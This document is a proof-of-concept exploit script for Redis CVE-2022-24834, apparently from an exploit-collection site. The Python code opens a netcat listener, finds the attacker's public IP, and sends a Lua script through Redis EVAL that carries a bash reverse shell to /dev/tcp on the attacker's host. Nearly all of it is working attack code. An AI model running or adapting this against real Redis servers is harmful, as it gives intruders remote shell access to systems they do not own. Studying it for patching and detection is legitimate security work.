4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / redis_cve-2022-24834.py PY
import pwn
import requests
import threading
import subprocess
import sys


class Redis:
    def __init__(self, host='localhost', port=6379):
        self.host = host
        self.port = port
        self.conn = None


    def prepare(self, data):
        if isinstance(data, int):
            return f":{data}\r\n".encode()
        elif isinstance(data, str):
            return f"${len(data)}\r\n{data}\r\n".encode()
        elif isinstance(data, bytes):
            return f"${len(data)}\r\n".encode() + data + b"\r\n"
        elif isinstance(data, list):
            return f"*{len(data)}\r\n".encode() + b''.join([self.prepare(elm) for elm in data])
        elif data is None:
            return b"$-1\r\n"
        else:
            raise ValueError(f"Non-RESP type: {type(data)}")


    def cmd(self, argv):
        self.conn = pwn.remote(self.host, self.port)
        self.conn.send(self.prepare(argv))
        return self.recv()


    def recv(self):
        t = self.conn.recv(1)
        if t == b'+' or t == b'-':
            return self.conn.recvuntil(b"\r\n")[:-2]
        elif t == b':':
            return int(self.conn.recvuntil(b"\r\n")[:-2])
        elif t == b'$':
            s = int(self.conn.recvuntil(b"\r\n")[:-2])
            if s == -1:
                return None
            d = self.conn.recv(s)
            self.conn.recvuntil(b"\r\n")
            return d
        elif t == b'*':
            s = int(self.conn.recvuntil(b"\r\n")[:-2])
            return [redis_recv(sock) for i in range(s)]
        else:
            raise ValueError(f"What is this? {t}")

    def GET(self, key):
        return self.cmd(["GET", key])

    def EVAL(self, script):
        return self.cmd(["EVAL", script, "0"])


class ShellServer:
    def __init__(self, lport=4444, lhost='0.0.0.0'):
        self.lhost = lhost
        self.lport = lport

    def run(self):
        #l = pwn.listen(self.lport, self.lhost)
        #target = l.wait_for_connection()
        #target.interactive()
        subprocess.run(["nc", "-lnvp", str(self.lport)])



def main():
    redis_host = 'localhost'
    redis_port = 6379

    lhost = '127.0.0.1'
    lport = 4444

    debug = False

    if len(sys.argv) > 1:
        redis_host = sys.argv[1]
        if len(sys.argv) > 2:
            redis_port = sys.argv[2]

    if not debug:
        r = requests.get('https://jsonip.com/')
        lhost = r.json()['ip']


    print(f"[*] Starting server on {lhost}:{lport}")
    shell_server = ShellServer(lport)
    shell_server = threading.Thread(target=ShellServer().run)
    shell_server.start()

    print(f"[*] Sending evil lua script to {redis_host}:{redis_port}")
    redis = Redis(redis_host, redis_port)

    cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'".encode()
    evil_lua_script = open("exploit.lua", "rb").read().replace(b"[CMD]", cmd)
    r = redis.EVAL(evil_lua_script)

    if debug:
        if r: print(repr(r))


if __name__ == "__main__":
    main()